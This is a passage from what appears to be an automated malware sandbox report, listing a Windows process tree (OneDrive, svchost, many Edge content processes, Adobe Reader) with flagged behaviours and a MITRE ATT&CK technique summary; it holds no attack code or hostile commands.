C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.150.0725.0001\FileSyncConfig.exe"
3⤵
- Loads dropped DLL
- Modifies registry class
PID:7292

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6788

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4052

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:8132

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:7568

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:5004

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7328

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:5240

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4280

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4648

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6852

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"
1⤵
PID:7624

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:4128

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4572

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:6968

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1664

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:5920

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5156

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:3684

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6620

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Change Default File Association

T1042

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

T1497

File Permissions Modification

T1222

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery